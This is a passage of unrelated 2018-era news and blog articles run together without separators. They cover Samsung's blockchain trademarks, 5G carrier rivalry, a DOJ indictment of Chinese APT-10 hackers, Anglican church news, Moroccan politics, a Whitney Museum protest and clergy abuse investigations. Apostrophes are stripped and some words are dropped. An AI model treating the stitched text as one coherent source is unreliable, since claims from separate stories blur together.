third-party applications. There is little information available about the purpose of the Samsung Blockchain Wallet, although recent reports show that the trademark refers to a secure enclave within smartphones that also functions as cold storage of cryptocurrencies. Cold Storage refers to the offline storage of cryptocurrency like Bitcoin, and this feature reduces the risk of hackers stealing the cryptocurrency held by a user. However, it is not yet clear if Samsung will include this feature into future flagships like the Samsung Galaxy S10 or if the tech giant will release its own blockchain-centric smartphones like the devices recently released by HTC and Sirin Labs. Background: Samsung has been considering the possible applications of blockchain technology to its business and products over the last few months. Earlier this month, Samsung applied for three trademarks that could refer to the companys portfolio of blockchain-related offerings. These trademarks include the Blockchain KeyStore, Blockchain Key Box, and Blockchain Core. The Blockchain Key Box could refer to the storage solution that securely saves the public and private transaction keys, while the Blockchain KeyStore could pertain to a service where users could download and install blockchain-based applications and games. The Blockchain Core, on the hand, could be the name for Samsungs transaction solution that allows smartphones to communicate with the blockchain. Advertisement Aside from applying blockchain technology to smartphones, Samsung is also looking at the benefits that the technology could bring to its operations. Last April, an executive from the company mentioned that Samsung is currently exploring the joint use of a blockchain-based ledger system and artificial intelligence to manage the companys air cargo and shipping operations. Samsung notes that the blockchain ledger system offers the advantages of end-to-end security in addition to a publicly viewable and tamper-evident transaction log. Impact: The filing of the Samsung Blockchain Wallet trademark points to the development of a portfolio of services and applications that cater to the owners of cryptocurrency and other blockchain assets. However, if consumers intend to use their smartphones to transact using cryptocurrencies, these devices will need a secure way of storing assets. The addition of a cold storage solution should help the device securely keep blockchain assets since cryptocurrency experts consider existing solutions, like Samsungs Knox, not suitable for storing cryptocurrency and other assets due to its susceptibility to several attack vectors. The Blockchain Wallet, along with the other three services that Samsung previously applied, could supplement Knox in securing the cryptocurrency holdings stored in the device. However, the application of trademarks does not necessarily mean that the company will release similarly-branded products soon, and even if it launches, it is not yet clear if Samsung will introduce the features with its future flagship devices or with smartphones purposely designed for cryptocurrency holders. T-Mobile mocks AT&Ts launch of its mobile 5G service with a new infographic poking fun at its competitors 5G Mobile Hotspot. AT&T recently announced the launch of its next-generation wireless service on December 18th and interested consumers may take advantage of the new network using its 5G Mobile Hotspot. T-Mobiles latest PR move hits at its rivals 5G device by highlighting the size comparisons made by tech publications to a small plate. It also released a gift guide that shows the accessories that consumers may buy for AT&Ts 5G hotspot. These fictitious accessories include an armband, a backpack, a counterweight, a trolley bag, and a heat-absorbing mitt. Aside from poking fun at its rivals 5G device, T-Mobile also highlighted the limited reach of AT&Ts 5G network. AT&T launched its service in 12 different cities across the United States, although T-Mobile emphasized that AT&Ts 5G network only serves limited areas within the 12 urban centers. Even within what T-Mobile calls as tiny coverage bubbles, users may have trouble connecting to the 5G network due to the short range of mmWave frequencies used by the next-generation wireless networks as well as obstacles like walls, trees, and vehicles which could easily block the signals coming from the base station. Background: T-Mobile poking fun at its rivals 5G efforts is not new, with the carriers CEO, John Legere, also mocking Verizon when it launched its fixed wireless broadband service known as 5G Home. Like what T-Mobile emphasized with AT&Ts 5G network, Legere noted that Verizons 5G Home service is only available in small pockets of neighborhoods within the four cities where Verizon launched its service. Furthermore, the CEO highlighted that Verizons 5G Home network is not scalable and that the deployment of the service will remain limited since the carrier is using a proprietary standard known as 5G TF, rather than the 5G New Radio standard that the operators around the globe will deploy. Verizon, for its part, previously said that they will replace their existing 5G equipment with standards-compliant devices once they become widely available. Advertisement Aside from its rivals 5G services, T-Mobile routinely mocked its competitors on the issues of customer service, price points, fees, and other hidden costs. Recently, the carrier released a video titled The Carriers Who (Almost) Stole Wireless which portrayed AT&T, Verizon, and Comcast as grinches that schemed to raise prices, implement new fees, and serve massive bills to consumers, while T-Mobiles executives came in a magenta sleigh and prevented the grinches from pursuing with their plans. The video also highlighted some of the problems experienced by consumers in dealing with the carriers customer service departments, with a part of the video showing a customer calling for help but an automated service answers their query instead. Impact: While this recent act intends to mock the competition, it also highlights some of the key issues faced by device makers and carriers regarding 5G networks. For example, it is only a few months ago that Qualcomm managed to develop an integrated mmWave and sub-6GHz RF modules that could fit inside a smartphone, which means that 5G devices developed prior to the release of these modules will have a larger form factor. Furthermore, it will take a few more years before carriers can cover substantial portions of the United States with 5G base stations, and many users will still rely on 4G LTE service in the coming years. T-Mobile has apparently delayed the launch of its new TV service due to it being more difficult to bring to market than the company had originally anticipated. This comes from a new report out of Bloomberg which in turn credits people familiar with the situation for the information along with the confirmation the service wont launch until sometime in 2019. Although those said to be in the know, do state the time-frame is tentative and open to change. The details from the report are a little light on specifics, but the general suggestion is the ambitious plans T-Mobile has for TV have proved more difficult than the companys equally ambitious plans of delivering the end product to market in the initial time-frame set out by the company, with mobile-distribution rights said to be one of the main issues the project has been struggling with. These issues have led to the situation where T-Mobile has apparently been forced to either put out more of a standard TV solution or hold back the launch until it can deliver on the disruptive product it wants with T-Mobile reportedly deciding the latter is the better option. At present, no information was provided on when exactly the service might launch beyond suggesting next year in general. T-Mobiles lofty TV ambitions Advertisement T-Mobile entering the TV game at the advanced level was all but confirmed when the company announced it was acquiring Layer3 TV for $325 million. Since then, the question has simply been when will the service arrive. As part of the pre-launch hype, the company had made it clear the service will be a competitor and different to the rest of the options due to it taking on a similar un-carrier approach to what T-Mobile offers in mobile. Irrespective of what it will offer, the official line has always remained the service would launch in 2018. However, the first indications that T-Mobile was facing difficulties in sticking to its time-frame came through in October when T-Mobiles President & Chief Operating Officer, Mike Sievert stated during the companys quarterly earnings call that its TV service wont expand into mobile until 2019. With that statement accompanying the confirmation the more general version of the TV service will start later this year. If this latest report is correct, then that is no longer the case and 2019 will be when the service launches in general, as well as on mobile. Although theres no suggestion that the two will occur together which might also now mean the expansion into mobile may also now be delayed. Time is important and sooner is better than later Advertisement While it seems clear T-Mobile intends to offer a better product, and is apparently holding out to ensure it is a better product, the company runs the risk of arriving to market too late. In many ways, it is already late to the party considering consumers have a wealth of choice now when it comes to streaming on-demand and live TV content. Therefore, even launching now would put T-Mobiles solution at a disadvantage. The longer it waits, the greater the disadvantage becomes, and the more costly it could prove in the long run. Over the last year or two, the existing solutions have been in a battle to offer streaming-based TV at the best possible price. To the point where some companies are understood to be running at a deficit in a bid to attract more customers. The expectation is this model is unsustainable and there have already been clear indications from existing competitors that price rises in 2019 will come. In addition, and while this is still a young market compared to others, signs already point to companies continually price-matching in this respect where once one companies ups the price, others quickly follow further evidence of the delicate nature of the market and the need to immediately increase revenue when an opportunity arises. In some ways this may prove beneficial to T-Mobile if it can launch at a lesser introductory price while others are upping their price, although again, the longer this takes to happen the harder it might be for T-Mobile to motivate customers of another service to migrate. Especially considering these other companies already have additional plans in the works to mitigate against main package price rises. Take AT&T, for example, while the direct competitor to T-Mobile plans to increase the cost of its main DIRECTV NOW package in 2019, it will also be launching two additional services in the same year, at different price points to appeal to different customers one thats entirely software-based and driven by HBO and other entities acquired through its Time Warner deal, and one thats hardware-driven. The United States Department of Justice on Thursday unsealed an indictment against two computer hackers believed to be in the employment of the Chinese government, accusing the individuals in question of a wide variety of transgressions, including a conspiracy to hack dozens of companies from the U.S. and other parts of the world with the goal of stealing sensitive technologies and otherwise hurting Chinas economic rivals. Aggravated identity theft and a conspiracy to commit wire fraud are also part of the indictment. Advanced Persistent Threats The defendants are believed to have been working for APT-10, a group that the cybersecurity community describes as Advanced Persistent Threats due to their modus operandi that entails gradually and surreptitiously stealing information from their victims after compromising their system with malware. The China-backed hackers are accused of targeting and attacking Managed Service Providers (MSPs), the type of companies that process a broad range of sensitive information in the service of countless online solutions. At least a dozen counties including the U.S. have been affected by the APT-10s illegal activities, the indictment reads. Besides the consumer electronics sector, the hackers also targeted firms from various other segments, including mining, manufacturing, packaging, biotechnology, healthcare, telecommunications, banking, and general finance. Advertisement The U.S. prosecutors believe they can prove the defendants committed all of the aforementioned crimes in cooperation with the Chinese communist government, i.e. its main intelligence service the Ministry of State Security. The accused individuals, Zhu Hua and Zhang Shilong, are currently believed to be residing in China and arent likely to be extradited under any circumstances, with the DOJ acknowledging as much as part of its Thursday communication. Deputy Attorney General Rod J. Rosenstein only said hes hoping the defendants will someday face justice in a federal courtroom. An unacceptable pattern of theft, lying, and espionage AG Rosenstein minced few words while announcing todays indictment, describing the development as yet another piece of evidence suggesting China is worried about no laws when it comes to providing its domestic industries with an upper hand in the context of technological innovations. The DOJ first accused China of theft in 2014 when it indicted five officials of the Peoples Liberation Army and has filed countless other charges against state-sponsored actors from the Far Eastern country ever since. According to the agencys internal estimate, over 90-percent of its economic espionage cases processed over the last seven years implicate China in some way. Furthermore, more than two-thirds of its trade secret cases in general are associated with Beijing as well. Advertisement The DOJ on Thursday recalled the Chinese governments 2015 promise that it will stop with such surreptitious activities and compete with other countries economies as part of a level playing field. The pattern of state-sponsored espionage observed over the last three years suggests Beijing did little to keep that promise, with AG Rosenstein describing that state of affairs as unacceptable. The agency also highlighted Beijings Made in China 2025 policy targeting economic growth as a clear roadmap of the industries the country intends to target so as to provide its domestic companies with a competitive advantage by stealing protected ideas from other markets. In fact, many segments outlined in the said plan have already been targeted by Chinas hackers, the DOJ said. A threat for the ages AG Rosenstein, accompanied by FBI Director Chris Wray and several other top government officials, today warned China that the U.S. government knows what its doing in terms of economic espionage, why its doing it, and can occasionally even identify specific individuals hired to commit those illegal acts. None of that information will be forgotten, the official warned. Chinas communist administration has yet to respond to the allegations but is unlikely to change its rhetoric on the matter and is widely expected to once again deny involvement in such economically driven hacking campaigns and deflect with accusations of its own. Advertisement 2018 just keeps escalating The timing of the indictments announcement is significant in that it signals yet another diplomatic escalation between Washington and Beijing. Following a full-blown that lasted for several months, resulted in massive tariffs on tens of billions dollars worth of goods, and temporarily ended with a 90-day truce agreed at a late November G20 summit in Argentina, Canadian authorities arrested the CFO of Huawei, the worlds second-largest phone maker and Chinas biggest privately owned company, on December 1. They did so at the request of the DOJ, with Washingtons prosecutors believing Ms. Meng Wanzhou defrauded banks and hid ties to a Hong Kong satellite of Huawei called Skycom Tech with the goal of circumventing stateside trade sanctions placed on Iran. Ms. Meng is presently trying to fight off the DOJs extradition request as shes facing up to 30 years in prison for fraud under federal law. Beijing called the arrest illegal and accused Canada of being a U.S. puppet, openly threatening retaliation less Ms. Meng, also the daughter of Huawei founder Ren Zhengfei, is released imminently and unconditionally. Shortly thereafter, Chinese authorities detained three Canadian nationals, including a high-profile businessman and a diplomat, as part of officially unrelated probes, though some industry watchers called the development an eye-for-an-eye move by Beijing and demanded a response from Ottawa. While Prime Minister Justin Trudeau is currently trying to de-escalate the situation, the tensions between China and the West are growing to unprecedented heights and things are likely to become more heated if the Canadian government decides to extradite Ms. Meng. Advertisement The current state of affairs is just a continuation of the episode that saw the Commerce Department nearly bankrupt China-owned ZTE earlier this year, also due to violations of its trade sanctions imposed against Iran. Coupled with Huaweis long history of issues with the U.S. government that includes suspicious ties to Chinas communist regime and accusations of trade secret theft, the technological aspect of the ongoing Washington-Beijing conflict centered on trade appears to be set for further escalations in the near future. As for the DOJs newly unsealed indictment, its timing suggests the move is only meant to put additional pressure on China and likely wont result in any actual consequences for the charged individuals anytime soon. Posted on: August 24, 2018 2:19 PM There will be an international feel to the consecration of the new bishop of Brechin in Scotland tomorrow (Saturday). The Bishops of Iowa and Swaziland will be taking part the consecration of the Very Revd Andrew Swift as new Bishop of Brechin, of the Scottish Episcopal Church. The service will take place at St. Pauls Cathedral in Dundee and will be presided over by the Primus of the Scottish Episcopal Church, Mark Strange. The Dioceses of Iowa, Swaziland, and Brechin have been a three way companion link for the past 30 years. Particularly in the last 11 years, there have been regular exchange visits between all three dioceses. This link is celebrated by the bishops presence at the upcoming service. Bishop Alan Scarfe of Iowa and Bishop Ellinah Wamukoya of Swaziland will participate in the consecration itself, in the act act of laying on of hands in prayer for the new bishop. According to the Scottish Episcopal Church, the role of Bishops Alan and Ellinah in the consecration is important in recognising the Dioceses role within the world-wide Anglican Communion. Andrew Swift is looking forward to his new role in the Scottish Episcopal Church. This is an exciting time to be the Scottish Episcopal Church in Dundee, the Carse of Gowrie and Angus and the Mearns, he said. Our church has an important part to play in the life of Scotland, and I am confident that, trusting in God, we can play that part here, in this place. While all churches face challenges, I am very encouraged by the optimism I have found in the Diocese of Brechin. I am looking forward to meeting with and listening to the people of the charges and helping them to develop as part of the 21st century Scottish Episcopal Church. The service will be live streamed and available to watch using the following link: https://www.scotland.anglican.org/live-stream-brechin/ US magazine, International Policy Digest, published Wednesday a long story on Moroccan-Algerian strained relations that hamper the integration of the Maghreb region and tried to analyze the ins and outs of this situation. The magazine came to the conclusion that the Algerian animosity toward Morocco is exclusively the work of the Algerian military that controls the country through docile political parties and an incapacitated president. The hate of Morocco and what it represents is ingrained in the Algerian military psyche, and only the end of military control can ultimately put an end to it, the magazine explained, noting that other possible developments that can lift the strain on bilateral relations would be the bankruptcy of Algerian economy or the Algerians uprising against their socio-economic situation. Only two possible developments can ultimately put an end to this animosity: Algeria goes bankrupt economically and allows in the IMF and the World Bank to clean up its financial mess, which will open economic borders and allow Moroccan companies to do businesses in Algeria. Or, the future possible cutting off subsidies will bring the population to the streets and a revolution could ensue that puts an end to military control and brings democracy to the country, the author of the article explained. Barring these two developments, Algeria will continue to hold a grudge against Morocco and the Maghreb Union will be just wishful thinking if not a political joke, to say the least, the magazine stated. The author of the story who underlined that the Algerian people feel close to the Moroccan people because of shared religion, language and culture, surveyed the genesis of the Sahara issue, one of the bones of contention between the two countries. He recalled in this connection the Morocco-proposed autonomy initiative to settle the conflict, noting that this initiative has been receiving a lot of support from many nations of the world and is considered as a viable political solution to the conflict. Besides the Sahara conflict, the official Algerian enmity is expressed through the actual closing of territorial borders and the cessation of all possible economic activity, the magazine pointed out. It explained that Algerias decision to impose a permanent closure of the borders is meant to prevent the Algerians from realizing the tremendous development realized by Morocco in various sectors although the Kingdom does not have oil resources like its eastern neighbor. The author of the article also recalled the proposal made by King Mohammed VI in his speech on November 6, 2018, to set up a joint mechanism to settle all pending issues. King Mohammed VI extended a hand to the Algerian government, with the hope of beginning a new chapter of good relations. Nevertheless, the Algerian government has not responded to this initiative of friendship. No answer is in many ways equivalent to saying unofficially, no way, the magazine noted. Posted on: December 20, 2018 3:09 PM Do not be afraid, for I bring to you good news that will bring great joy to all people (Luke 2:10) This was the message of the angel to the shepherds on Christmas Day, which encourages us also this year not to be afraid. Although we have entered the celebration of Christmas this year 2018 with mixed feelings of joy, doubts and uncertainties about the signed peace agreement, I encourage all South Sudanese inside and outside the country to celebrate this Christmas with joy and hope, because we have the revitalised peace agreement which gives us hope and chance to build peace and enable the agreement to hold. This year let us celebrate by forgiving one another, reconcile with those who have hurt us and work hard to push the peace agreement from paper to a practical peace on the ground. May the new born baby Jesus Christ, the Prince of Peace, bring the spirit of trust amongst all South Sudanese and blessing to the entire nation of South Sudan. Happy Christmas ++Justin Badi Arama The Most Revd Justin Badi Arama, The Archbishop and Primate of the Episcopal Church of South Sudan and the Diocesan Bishop of Juba Posted on: December 20, 2018 10:25 AM The Diocese of Jerusalems rehabilitation centre for children with disabilities has secured its second consecutive audit from the Joint Commission International Accreditation (JCIA). The Jerusalem Princess Basma Centre, on the Mount of Olives, provides a structured programme of holistic care for Palestinian children from the West Bank, East Jerusalem and Gaza. In December 2015 it received its first three-year JCIA accreditation, becoming the first and to date, the only Palestinian rehabilitation centre to receive such international accreditation. It has now completed its second audit, gaining accreditation for the next three years. This accreditation is very important and is a testimony that the Centre continues to provide high quality services for patients according to international standards, the organisation said on its website. The General Director of the Jerusalem Princess Basma Centre, Ibrahim Faltas, thanked all staff at the Centre for their hard work and persistence in achieving the accreditation for the second time. We are one of the lead organisations that work on developing knowledge and expertise in the field of child rehabilitation, she said. Receiving this accreditation is a clear evidence of the high level of scientific and clinical competence and a clear commitment for quality of service provision for our patients. Violette Mubarak, the Director of the Centre, added: Our equipped and skilled team is committed to provide high quality rehabilitation services to our patients. By achieving this accreditation the patients and their families will have confidence that the facility has met strict criteria in patients safety, quality delivery of clinical care, and overall patient support. The JCIA provides accreditation to hundreds of health care organisations in more than 100 countries worldwide. Its accreditation is seen as the gold standard seal of approval. The Jerusalem Princess Basma Centre provides rehabilitation treatments to more 700 children a year, creating positive changes in their lives and the lives of their families. It is one of a number of health care ministries operated by the Anglican Diocese of Jerusalem. This week, the Archbishop in Jerusalem, Suheil Dawani, issued an emergency appeal after the outpatients clinic of the dioceses al-Ahli Arab Hospital in Gaza collapsed. Moroccans from all walks of life have denounced the despicable murder of two Scandinavian women in the Atlas Mountains, expressing their sympathy and solidarity with the families of the victims, Louisa Vesterager Jespersen and Maren Ueland. In social media posts, Moroccan NGOs, politicians, intellectuals, artists, sport stars, traders, physicians, teachers, students, street vendors joined their voices to the local inhabitants of the commune where the abject murder was perpetrated to express their consternation and outrage over this horrible and repulsive crime committed by a minority of fanatics and outsiders. They said this is an isolated criminal act, which does not represent the values of tolerance, coexistence and openness upheld by Moroccan society wherein Muslims, Jews and Christians live in peace, entente and mutual respect. So far, four men were arrested over the murder of Louisa Vesterager Jespersen, a 24-year-old Danish student, and her Norwegian friend, Maren Ueland, 28. At least one of the suspects has been linked to an Islamist extremist group. Moroccan authorities are investigating whether they had terrorist affiliations. According to some local press reports, the killers had camped near their victims bivouac and fled after the attack. The bodies were found on Monday by two Frenchwomen who were hiking near the remote spot where Jespersen and Ueland had pitched their tent. The Moroccan cabinet has also vehemently condemned the assassination of the two Scandinavian tourists at its weekly meeting Thursday. The cabinet discussed at its weekly meeting the painful and tragic event and strongly condemned the criminal and terrorist acts that have claimed the lives of the two nationals of Norway and Denmark, said the Governments spokesman Mustapha El Khalfi during a press briefing. The judicial investigation will determine the circumstances and objectives of this despicable crime, he said. Danish Prime Minister Lars Lkke Rasmussen said he was dismayed, disgusted and deeply distressed by the brutal murder of Louisa Vesterager Jespersen and her Norwegian friend, Maren Ueland, confirming that a terrorist investigation has been opened. What was going to be a holiday trip became a nightmare. Two innocent people were brutally killed, and we react with dismay, disgust and deep sorrow, said the Danish Prime Minister at a press conference on Thursday in Copenhagen. During this conference, relayed by the Danish channel TV2, the head of the Danish Executive has not dismissed the terrorist mobile of this heinous act. In his press briefing, Khalfi also said that following the crime, Morocco will raise the security level during the holiday season throughout the kingdom to enhance the peace and quiet for citizens and visitors. ecurity services remain vigilant but, as usual, the level of vigilance will be raised during the holiday season, he said. The killing of the women has raised concerns about the impact it may have on Moroccos tourist sector, which accounts for 10 pc of national income. In this connection, Mustapha El Khalfi pointed out that no tourism activities or reservations have been canceled for the Marrakech bound. Tourist activities continue at the same pace, said El Khalfi. This Thursday, the ministers Oriol Junqueras, Raul Romeva, Josep Rull, Jordi Sanchez and Jordi Turull, together with former President Carles Puigdemont will lodge a complaint with the Human Rights Committee of the United Nations in Geneva to denounce a violation of their political rights as Members of Parliament for having been suspended by Judge Pablo Llarena in a decision backed by the Spanish Parliament. The international lawyer in charge of their case, Nico Krisch, will outline each of their demands at a press conference which will also be attended by Puigdemont, the ERCs secretary general, Marta Rovira, who is also in exile in Geneva, and the CUP MP Maria Sirvent. Also present at the event to be held at 11 am at the Swiss Press Club, will be the spokesperson for the Republican Parliamentary Group, Anna Caula, the spokesperson for the Junts per Catalunya Parliamentary Group, Albert Batet, and Ernest Benach, representing the former presidents of the Parliament of Catalonia. On March 27, the United Nations (UN) Human Rights Committee admitted a complaint from Puigdemont for a violation of his political rights in Spain when his investiture was blocked. The decision followed on from the UN ruling issued the previous week calling on the Spanish government to guarantee the rights of the Junts per Catalunya (JxCat) MP Jordi Sanchez. In early February, Puigdemont's lawyers announced the presentation of the complaint, the first step in an international offensive to denounce the violation of his political rights and to apply pressure on the Spanish government. Specifically, the complaint alleged that Spain has violated two international agreements: the covenant on civil and political rights and the Universal Declaration of Human Rights. Having admitted the complaint, the UN Committee will have to issue its ruling, a process which can take from one to two years. The Spanish state also has the right to present its side of the case. Puigdemont filed the complaint with the UN, and not to another body such as the European Court of Human Rights (ECHR) since the UNs framework for interpretation is based on the international covenant on civil and political rights, which recognizes the right to self-determination. The UNs final resolution will be formally binding on Spain, since it is a signatory to the declaration and the organisations additional covenant. However, the Committee does not have the capacity to sanction Spain if it decides not to respect its decision. The Trent 700, the original member of the now seven-strong Trent engine family, has become the clear market leader and engine of customer choice for the Airbus A330. Earlier this year Rolls-Royce celebrated the Trent 700 completing its 50 millionth flying hour, the equivalent to flying around the world more than one million times. The Trent 700 was the first member of the Trent engine family and has played a significant role in transforming Rolls-Royce into a truly global company. The Trent 700 has been Rolls-Royces best-selling engine, helping to increase its widebody market share from 13% in 1995 when the engine was first introduced to more than 50% by the early 2020s. The milestone comes as the Trent family story continues with the recent entry into service of the Airbus A330neo, powered by the seventh and most recent Trent family member, the Trent 7000. Dominic Horwood, Rolls-Royce, Chief Customer Officer Civil Aerospace, said: The Trent 700 is an iconic engine, the first of a Trent family that will power aircraft for decades to come. I want to thank every customer who has chosen Trent as we celebrate this milestone. Having provocatively displayed an anti-MoMA poster in its last Biennial, the Whitney Museum probably had this coming: A protest demonstration at the museum is being planned by Decolonize This Place [DTP], an ad hoc political action group, for noon tomorrow (Sunday). It will target Whitney vice president Warren Kanders, who (as reported on Nov. 27 by Jasmine Weber in Hyperallergic) leads a company that manufactures the tear gas recently used against migrants at the Mexican border. Heres the scene outside the Whitney on a busy but peaceful day: Crowd waiting to see Whitneys Warhol show on a more peaceful day Photo by Lee Rosenbaum In a donor-chilling gesture, DTP has targeted Kanders with online protest images derived from paintings in the current Andy Warhol retrospective (for which the Whitneys beleaguered VP provided some financial support). Heres my favorite from the photos I took at that landmark exhibition: The Warhola Clan (Andys original name) at the press preview L to R: James (Andys nephew), Madalen (niece), Whitney Director Adam Weinberg, Abby (great-niece) Photo by Lee Rosenbaum One of the protest groups Warholian posters (which you can see reproduced in yesterdays follow-up by Jasmine Weber) repetitively juxtaposes images of tear gas canisters with a party photo of Whitney director Adam Weinberg posing beside Kanders and his wife. With black photos on a mustard background, its a takeoff on Warhols riff on a widely published news image of a brutal assault by Birmingham, AL, police on black civil-rights activists. Heres the Warhol, which for me was the most haunting work in the current Whitney show: Andy Warhol, Mustard Race Riot, 1963, Museum Brandhorst, Munich Photo by Lee Rosenbaum The planned protest at the Whitney can be seen as a turnabout-is-fair-play demonstration: As CultureGrrl readers may remember, that museums most recent Biennial featured a huge wall chart by another protest group, Occupy Museums, that demonized Museum of Modern Art board member Larry Fink, CEO of the BlackRock asset-management firm, who was a member of President Trumps Strategic and Policy Forum (an advisory group of business leaders). At MoMA, Occupy Museums had staged a protest action calling for Finks ouster from its board, prefiguring what we may see Sunday at the Whitney: In writing about the Biennial, I had described the Whitneys eyebrow-raising decision to showcase an attack on a sister museum as questionable. Now that the shoe is on the other foot, the pronouncement that I issued then can be aptly applied to the Kanders controversy: I dont believe that a political litmus test [emphasis added] should be applied to museums board members or donors. Litmus test is a phrase that also (coincidentally?) occurred to WNYCs business and culture editor, Charlie Herman, in connection with the Kanders fracas. He used it in a radio segment airing yesterday about the Whitney situation. Charlie asked this of Hrag Vartanian, Hyperallergics editor-in-chief (who was joined on the segment by Robin Pogrebin, NY Times cultural journalist): A lot of other museums have also been questioned about people who made donations who are on their board. Should there be some sort of political litmus test [emphasis added]? In this, Herman (perhaps unknowingly) echoed the language from my then three-day-old tweets about the controversy: The Kanders Controversy @WhitneyMuseum echoes the Koch Fountain Flap @MetMuseum: https://t.co/okkDvHajzz My view: no moral or political litmus test for donors, so long as theyre not charged with a crime & they leave professional decisions to the museums professionals Lee Rosenbaum (@CultureGrrl) December 4, 2018 Some 100 Whitney Museum staffers evidently dissent from my distaste for subjecting trustees to political litmus tests: In a letter to the Whitneys leadership (reproduced here by Hyperallergic), they called upon the museums decision-makers to consider asking for Warren Kanders resignation from the board. To the signatories of that out-of-bounds missive, director Weinberg read the rule book: As members of the Whitney community, we each have our critical and complementary roles: Trustees do not hire staff, select exhibitions, organize programs or make acquisitions, and staff does not appoint or remove board members [emphasis added]. Heres Kanders candor, as expressed in an open letter to the Whitney Community (excerpted in ARTnews), issued in response to his critics: Safarilands role is not to determine when and how they [its products] are employed. The staff letter implies that I am responsible for the decision to use these products. I am not. That is not an abdication of responsibility; it is an acknowledgement of reality [emphasis added]. Heres an acknowledgement of my own reality: I chatted once, briefly and inconsequentially, with Andy Warhol. Ive experienced tear gas thricefirst, as a participant in a political protest; next, when I got too curious about a student demonstration while I was sightseeing in Paris; last, while attending a performance at the Metropolitan Opera, of all places. As a healthy young adult back in those days, I quickly recovered. Almost a rite of passage if you were a college student in the 60s, exposure to tear gas is generally less physically harmful than the more brutal means of crowd control then in use (see Kent State or Birmingham). That said, theres no question that tear-gassing innocent young children is unspeakable (see Geraldo Rivera). But Kanders, as he stated, didnt make that call. While we await further developments, lets return to the litmus-test question as it applies (or doesnt) to the Whitney Wars. Heres the full WNYC segment: King Mohammed VI of Morocco has deplored the increasing inequalities and discrimination prevailing in the world and the clash of ignorances that continues to engender intolerance, extremism and radicalism. The celebration this December of the 70th anniversary of the adoption of the Universal Declaration of Human Rights comes at a time when humanity is facing challenges of global magnitude and unprecedented scope, said King Mohammed VI in a message to a meeting held in Rabat Thursday to mark this anniversary. In addition to the inequality issue, there is increasing discrimination. The clash of ignorances continues to engender intolerance, extremism and radicalism, just as climate change and migration flows pose new challenges in terms of economic, social and cultural rights, the Monarch said in the message read out by Royal Adviser Abdeltif Menouni. Since the adoption of the Universal Declaration of Human Rights, international human rights law has continued to develop as increasingly sophisticated pacts have been adopted, despite frequently unfavorable conditions. However, in many parts of the world, these positive developments unfortunately come up against devastating conflicts, violent extremism, inward-looking tendencies, rejection of the other and intolerance, he noted. At the same time, he said, new challenges are emerging and require appropriate responses. Part of these new challenges, the king mentioned in particular the effectiveness of economic, social, cultural and environmental rights, the fight against discrimination especially that affecting women the empowerment and inclusion of young people, the protection of the rights of vulnerable groups particularly children and persons with disabilities and, of course, the reduction of social inequalities and regional disparities. Answers to these challenges must be based on a clear frame of reference and should be inspired by the fundamental values enshrined in the Universal Declaration of Human Rights, the King said, citing in this regard the example of the Global Compact for Safe, Orderly and Regular Migration adopted in Marrakesh on Dec.10. The compact puts the respect, protection and achievement of migrants basic rights at the heart of the new migration governance system, the King said, adding that based on international human rights law, the Compact reiterates the universal and indivisible nature of human rights. It is grounded in the firm belief that migration cannot be safe, orderly and regular if migrants rights are not rigorously respected regardless of their status. Reiterating Moroccos unwavering commitment to the elimination of all forms of discrimination against migrants, King Mohammed VI recalled that the Kingdom has put the human element at the center of its migration policy. Morocco has thus developed a humane, balanced and solidarity-based migration policy, which cares about the well-being of migrants and encourages their long-lasting integration into Moroccan society. We shall continue to work tirelessly to promote the culture of human rights, to ensure respect for all rights and to see that everyone complies fully with his or her obligations towards others, society and the nation, the Monarch pledged. The King also reaffirmed the Kingdoms commitment to multilateralism which is rooted in solidarity among peoples, the pursuit of peace and belief in the universal nature of rights, underlining that universal values acquire greater legitimacy when they represent and protect human diversity, and when all peoples and cultures contribute to shaping them, ultimately considering them as their own. Chris Hemsworth and Tessa Thompson Suit up to Fight Aliens in Men in Black: International Trailer Trending News: Chris Hemsworth and Tessa Thompson Crush Aliens in the First MIB Trailer Twenty-two years after Will Smith and Tommy Lee Jones first defended the planet from hideous and hilarious aliens, Men in Black is back with the same look, but a whole new duo. In the first trailer for Men in Black: International, Agent M (Tessa Thompson) is a new recruit to the secretive agency who teams up with Agent H (Chris Hemsworth), a veteran alien-fighter with an affinity for early morning tacos. Together, the two agents suit up to fight off alien invaders with sweet laser weapons and a souped-up car. Unlike the earlier Men in Black movies that took place in the U.S., this sequel takes the alien fighting abroad, including to London, where agents played by Liam Neeson and Emma Thompson call the shots. Related: Chris Hemsworth's Trainer Reveals His 'MiB' Workout Marvel Callback Marvel fans might get some deja vu while watching this trailer. Hemsworth and Thompson fought side-by-side in 2017s Thor: Ragnarok, as the God of Thunder and Valkyrie. The MiB: International trailer appears to make a throwback to this at the end of the trailer when Hemsworth throws a hammer end over end, as Thor would. "Now the tables have turned," he says, before throwing the hammer at a creepy blue-haired alien. Whats Old Is New Rehashing old movies that everyone loves is far from a new strategy for Hollywood, but this holiday season, its all about rebooting 90s movies. Weve already seen trailers for nostalgia-inducing flicks such as Lion King and Aladdin. This might not even be the only Men in Black sequel in the works, as Sony is rumored to be planning a MiB and 21 Jump Street crossover. Whether or not you think what happened in the 90s should stay in your memories, Men in Black: International will hit theaters on June 14, 2019. You Might Also Dig Cardinal Blase Cupich, archbishop of Chicago, attends mass at St. Peters Basilica on October 28, 2018, in Vatican City. Photo: Franco Origlia/Getty Images One week after an Australian court convicted Cardinal George Pell of sex-abuse charges, Illinois attorney general Lisa Madigan announced that six dioceses have failed to disclose accusations of sexual abuse against at least 500 priests and clergy members, according to CNN. The Catholic Church had previously released the names of 185 priests accused of abuse in Illinois, but Madigans own investigation uncovered hundreds more cases that the church had withheld: In many cases, the accusations have not been adequately investigated by the dioceses or not investigated at all, Madigans office said in a statement Wednesday. Whats more, the statement added, the church often failed to notify law enforcement authorities or state Department of Children and Family Services about the allegations. By choosing not to thoroughly investigate allegations, the Catholic Church has failed in its moral obligation to provide survivors, parishioners and the public a complete and accurate accounting of all sexually inappropriate behavior involving priests in Illinois, Madigan said in the statement. Cardinal Blase Cupich of Chicago said the church has reported every allegation to authorities since 2002. Illinois isnt the only state to investigate the churchs response to sexual abuse in its parishes. After a Pennsylvania grand jury released a haunting report in August that documented at least 1,000 victims of clergy sexual abuse, law enforcement officials in 45 states have launched their own investigations, a number that includes 14 state attorneys general. Like so many Americans I felt sick, Virginia attorney general Mark Herring said in October, to explain his decision to investigate both of his states dioceses. Some officials have taken especially drastic action. In November, the Montgomery County, Texas, district attorneys office raided the offices of the archdiocese of Galveston-Houston, with assistance from the Texas Rangers and Conroe police department, in order to retrieve files from a secret diocesan archive. Sources told KHOU 11 that investigators found multiple files that detailed sex-abuse allegations against local 